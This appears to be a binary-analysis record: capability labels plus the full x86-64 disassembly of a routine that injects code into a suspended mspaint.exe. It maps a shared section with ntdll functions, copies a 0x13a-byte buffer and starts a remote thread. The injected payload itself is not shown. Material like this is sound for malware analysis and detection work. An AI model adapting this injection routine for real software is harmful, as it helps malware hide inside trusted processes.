Function at 0x401550
Capabilities:
Create process on windows
Create process suspended
Link many functions at runtime
Resume thread

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x1b0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x150], ecx
mov qword [rbp + 0x158], rdx
call sym.__main
lea rdx, [rbp + 0x80]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x70], 0
lea rdx, [rbp + 0x30]
mov eax, 0
mov ecx, 6
mov rdi, rdx
rep stosq qword [rdi], rax
mov qword [rbp - 8], 0x1000
mov qword [rbp - 0x10], 0
mov rax, qword [rbp - 8]
mov dword [rbp - 0x10], eax
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x20], 0
lea rax, [rbp + 0x80]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x60]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x30]
mov r8d, 0x30
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x80], 0x68
mov rax, rbp
mov r8d, 0x30
mov edx, 0
mov rcx, rax
call sym.memset
lea rcx, str.ntdll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x128]
lea rdx, str.ZwCreateSection
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x128]
lea rdx, str.NtMapViewOfSection
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x118], rax
mov rax, qword [rbp + 0x128]
lea rdx, str.ZwUnmapViewOfSection
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x110], rax
mov rax, qword [rbp + 0x128]
lea rdx, str.ZwCreateThreadEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x128]
lea rdx, str.ZwClose
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x100], rax
lea rax, [rbp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x800000c
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rdx, str.C:windows_system32mspaint.exe
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
sete al
test al, al
je 0x401779
lea rcx, str.create_process_failed_n
call sym.printf_char_const__::_
mov eax, 0xfffffffe
jmp 0x4019c1
lea rdx, [rbp - 0x10]
lea rax, [rbp + 0xf8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0x40
mov r10, qword [rbp + 0x120]
mov r9, rdx
mov r8d, 0
mov edx, 0xe
mov rcx, rax
call r10
mov rax, qword [rbp + 0xf8]
mov rdx, rax
lea rcx, str.section_handle:__p._n
call sym.printf_char_const__::_
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov r10, rax
mov rcx, qword [rbp + 0xf8]
lea rdx, [rbp - 0x20]
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rax, qword [rbp + 0x118]
mov r9d, 0
mov r8, rdx
mov rdx, r10
call rax
mov rax, qword [rbp - 0x20]
mov rdx, rax
lea rcx, str.local_process_mapped_at_address:__p._n
call sym.printf_char_const__::_
mov rdx, qword [rbp + 0x60]
mov rcx, qword [rbp + 0xf8]
lea r8, [rbp - 0x18]
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rax, qword [rbp + 0x118]
mov r9d, 0
call rax
mov rax, qword [rbp - 0x18]
mov rdx, rax
lea rcx, str.remote_process_mapped_at_address:__p_n
call sym.printf_char_const__::_
mov rax, qword [rbp - 0x20]
mov rcx, rax
lea rax, [0x00408020]
mov edx, 0x13a
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov rbx, qword [rbp - 0x20]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x110]
mov rdx, rbx
call rax
mov rax, qword [rbp - 0x20]
mov rdx, rax
lea rcx, str.mapped_at_address:__p_n
call sym.printf_char_const__::_
mov rdx, qword [rbp + 0xf8]
mov rax, qword [rbp + 0x100]
mov rcx, rdx
call rax
mov qword [rbp + 0xf8], 0
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp + 0x60]
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 4
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rdx
mov r10, qword [rbp + 0x108]
mov r9, rcx
mov r8d, 0
mov edx, 0x1ffff
mov rcx, rax
call r10
mov rax, qword [rbp + 0xf0]
mov rdx, rax
lea rcx, str.thread:_p_n
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x68]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov rdx, qword [rbp + 0x68]
mov rax, qword [rbp + 0x100]
mov rcx, rdx
call rax
mov rdx, qword [rbp + 0xf0]
mov rax, qword [rbp + 0x100]
mov rcx, rdx
call rax
mov eax, 0
add rsp, 0x1b0
pop rbx
pop rdi
pop rbp
ret